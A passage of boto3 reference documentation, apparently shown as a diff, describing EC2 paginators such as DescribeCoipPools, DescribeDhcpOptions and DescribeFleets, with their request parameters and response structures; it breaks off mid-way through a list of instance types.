target-network-id - The ID of the subnet specified as the target network. + - vpc-id - The ID of the VPC in which the target network is located. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ClientVpnTargetNetworks': [ + { + 'AssociationId': 'string', + 'VpcId': 'string', + 'TargetNetworkId': 'string', + 'ClientVpnEndpointId': 'string', + 'Status': { + 'Code': 'associating'|'associated'|'association-failed'|'disassociating'|'disassociated', + 'Message': 'string' + }, + 'SecurityGroups': [ + 'string', + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **ClientVpnTargetNetworks** _(list) --_ + + Information about the associated target networks. + + - _(dict) --_ + + Describes a target network associated with a Client VPN endpoint. + + - **AssociationId** _(string) --_ + + The ID of the association. + + - **VpcId** _(string) --_ + + The ID of the VPC in which the target network (subnet) is located. + + - **TargetNetworkId** _(string) --_ + + The ID of the subnet specified as the target network. + + - **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint with which the target network is associated. + + - **Status** _(dict) --_ + + The current state of the target network association. + + - **Code** _(string) --_ + + The state of the target network association. + + - **Message** _(string) --_ + + A message about the status of the target network association, if applicable. + + - **SecurityGroups** _(list) --_ + + The IDs of the security groups applied to the target network association. + + - _(string) --_ + +_class_ EC2.Paginator.DescribeCoipPools + +paginator = client.get_paginator('describe_coip_pools') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_coip_pools()](#EC2.Client.describe_coip_pools "EC2.Client.describe_coip_pools"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeCoipPools) + +**Request Syntax** + +response_iterator = paginator.paginate( + PoolIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **PoolIds** (_list_) -- + + The IDs of the address pools. + + - _(string) --_ +- **Filters** (_list_) -- + + The filters. The following are the possible values: + + - coip-pool.pool-id + - coip-pool.local-gateway-route-table-id + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CoipPools': [ + { + 'PoolId': 'string', + 'PoolCidrs': [ + 'string', + ], + 'LocalGatewayRouteTableId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'PoolArn': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **CoipPools** _(list) --_ + + Information about the address pools. + + - _(dict) --_ + + Describes a customer-owned address pool. + + - **PoolId** _(string) --_ + + The ID of the address pool. + + - **PoolCidrs** _(list) --_ + + The address ranges of the address pool. + + - _(string) --_ + - **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + - **Tags** _(list) --_ + + The tags. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **PoolArn** _(string) --_ + + The ARN of the address pool. + + +_class_ EC2.Paginator.DescribeDhcpOptions + +paginator = client.get_paginator('describe_dhcp_options') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_dhcp_options()](#EC2.Client.describe_dhcp_options "EC2.Client.describe_dhcp_options"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeDhcpOptions) + +**Request Syntax** + +response_iterator = paginator.paginate( + DhcpOptionsIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DhcpOptionsIds** (_list_) -- + + The IDs of one or more DHCP options sets. + + Default: Describes all your DHCP options sets. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - dhcp-options-id - The ID of a DHCP options set. + - key - The key for one of the options (for example, domain-name ). + - value - The value for one of the options. + - owner-id - The ID of the AWS account that owns the DHCP options set. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'DhcpOptions': [ + { + 'DhcpConfigurations': [ + { + 'Key': 'string', + 'Values': [ + { + 'Value': 'string' + }, + ] + }, + ], + 'DhcpOptionsId': 'string', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **DhcpOptions** _(list) --_ + + Information about one or more DHCP options sets. + + - _(dict) --_ + + Describes a set of DHCP options. + + - **DhcpConfigurations** _(list) --_ + + One or more DHCP options in the set. + + - _(dict) --_ + + Describes a DHCP configuration option. + + - **Key** _(string) --_ + + The name of a DHCP option. + + - **Values** _(list) --_ + + One or more values for the DHCP option. + + - _(dict) --_ + + Describes a value for a resource attribute that is a String. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **DhcpOptionsId** _(string) --_ + + The ID of the set of DHCP options. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the DHCP options set. + + - **Tags** _(list) --_ + + Any tags assigned to the DHCP options set. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeEgressOnlyInternetGateways + +paginator = client.get_paginator('describe_egress_only_internet_gateways') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_egress_only_internet_gateways()](#EC2.Client.describe_egress_only_internet_gateways "EC2.Client.describe_egress_only_internet_gateways"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeEgressOnlyInternetGateways) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + EgressOnlyInternetGatewayIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EgressOnlyInternetGatewayIds** (_list_) -- + + One or more egress-only internet gateway IDs. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'EgressOnlyInternetGateways': [ + { + 'Attachments': [ + { + 'State': 'attaching'|'attached'|'detaching'|'detached', + 'VpcId': 'string' + }, + ], + 'EgressOnlyInternetGatewayId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **EgressOnlyInternetGateways** _(list) --_ + + Information about the egress-only internet gateways. + + - _(dict) --_ + + Describes an egress-only internet gateway. + + - **Attachments** _(list) --_ + + Information about the attachment of the egress-only internet gateway. + + - _(dict) --_ + + Describes the attachment of a VPC to an internet gateway or an egress-only internet gateway. + + - **State** _(string) --_ + + The current state of the attachment. For an internet gateway, the state is available when attached to a VPC; otherwise, this value is not returned. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of the egress-only internet gateway. + + - **Tags** _(list) --_ + + The tags assigned to the egress-only internet gateway. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeExportImageTasks + +paginator = client.get_paginator('describe_export_image_tasks') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_export_image_tasks()](#EC2.Client.describe_export_image_tasks "EC2.Client.describe_export_image_tasks"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeExportImageTasks) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ExportImageTaskIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + Filter tasks using the task-state filter and one of the following values: active , completed , deleting , or deleted . + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **ExportImageTaskIds** (_list_) -- + + The IDs of the export image tasks. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ExportImageTasks': [ + { + 'Description': 'string', + 'ExportImageTaskId': 'string', + 'ImageId': 'string', + 'Progress': 'string', + 'S3ExportLocation': { + 'S3Bucket': 'string', + 'S3Prefix': 'string' + }, + 'Status': 'string', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **ExportImageTasks** _(list) --_ + + Information about the export image tasks. + + - _(dict) --_ + + Describes an export image task. + + - **Description** _(string) --_ + + A description of the image being exported. + + - **ExportImageTaskId** _(string) --_ + + The ID of the export image task. + + - **ImageId** _(string) --_ + + The ID of the image. + + - **Progress** _(string) --_ + + The percent complete of the export image task. + + - **S3ExportLocation** _(dict) --_ + + Information about the destination Amazon S3 bucket. + + - **S3Bucket** _(string) --_ + + The destination Amazon S3 bucket. + + - **S3Prefix** _(string) --_ + + The prefix (logical hierarchy) in the bucket. + + - **Status** _(string) --_ + + The status of the export image task. The possible values are active , completed , deleting , and deleted . + + - **StatusMessage** _(string) --_ + + The status message for the export image task. + + - **Tags** _(list) --_ + + Any tags assigned to the image being exported. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeFastSnapshotRestores + +paginator = client.get_paginator('describe_fast_snapshot_restores') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_fast_snapshot_restores()](#EC2.Client.describe_fast_snapshot_restores "EC2.Client.describe_fast_snapshot_restores"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeFastSnapshotRestores) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + The filters. The possible values are: + + - availability-zone : The Availability Zone of the snapshot. + - owner-id : The ID of the AWS account that enabled fast snapshot restore on the snapshot. + - snapshot-id : The ID of the snapshot. + - state : The state of fast snapshot restores for the snapshot (enabling | optimizing | enabled | disabling | disabled ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'FastSnapshotRestores': [ + { + 'SnapshotId': 'string', + 'AvailabilityZone': 'string', + 'State': 'enabling'|'optimizing'|'enabled'|'disabling'|'disabled', + 'StateTransitionReason': 'string', + 'OwnerId': 'string', + 'OwnerAlias': 'string', + 'EnablingTime': datetime(2015, 1, 1), + 'OptimizingTime': datetime(2015, 1, 1), + 'EnabledTime': datetime(2015, 1, 1), + 'DisablingTime': datetime(2015, 1, 1), + 'DisabledTime': datetime(2015, 1, 1) + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **FastSnapshotRestores** _(list) --_ + + Information about the state of fast snapshot restores. + + - _(dict) --_ + + Describes fast snapshot restores for a snapshot. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone. + + - **State** _(string) --_ + + The state of fast snapshot restores. + + - **StateTransitionReason** _(string) --_ + + The reason for the state transition. The possible values are as follows: + + - Client.UserInitiated - The state successfully transitioned to enabling or disabling . + - Client.UserInitiated - Lifecycle state transition - The state successfully transitioned to optimizing , enabled , or disabled . + - **OwnerId** _(string) --_ + + The ID of the AWS account that enabled fast snapshot restores on the snapshot. + + - **OwnerAlias** _(string) --_ + + The AWS owner alias that enabled fast snapshot restores on the snapshot. This is intended for future use. + + - **EnablingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the enabling state. + + - **OptimizingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the optimizing state. + + - **EnabledTime** _(datetime) --_ + + The time at which fast snapshot restores entered the enabled state. + + - **DisablingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the disabling state. + + - **DisabledTime** _(datetime) --_ + + The time at which fast snapshot restores entered the disabled state. + + +_class_ EC2.Paginator.DescribeFleets + +paginator = client.get_paginator('describe_fleets') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_fleets()](#EC2.Client.describe_fleets "EC2.Client.describe_fleets"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeFleets) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + FleetIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **FleetIds** (_list_) -- + + The ID of the EC2 Fleets. + + - _(string) --_ +- **Filters** (_list_) -- + + The filters. + + - activity-status - The progress of the EC2 Fleet ( error | pending-fulfillment | pending-termination | fulfilled ). + - excess-capacity-termination-policy - Indicates whether to terminate running instances if the target capacity is decreased below the current EC2 Fleet size (true | false ). + - fleet-state - The state of the EC2 Fleet (submitted | active | deleted | failed | deleted-running | deleted-terminating | modifying ). + - replace-unhealthy-instances - Indicates whether EC2 Fleet should replace unhealthy instances (true | false ). + - type - The type of request (instant | request | maintain ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Fleets': [ + { + 'ActivityStatus': 'error'|'pending_fulfillment'|'pending_termination'|'fulfilled', + 'CreateTime': datetime(2015, 1, 1), + 'FleetId': 'string', + 'FleetState': 'submitted'|'active'|'deleted'|'failed'|'deleted_running'|'deleted_terminating'|'modifying', + 'ClientToken': 'string', + 'ExcessCapacityTerminationPolicy': 'no-termination'|'termination', + 'FulfilledCapacity': 123.0, + 'FulfilledOnDemandCapacity': 123.0, + 'LaunchTemplateConfigs': [ + { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': [ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.meta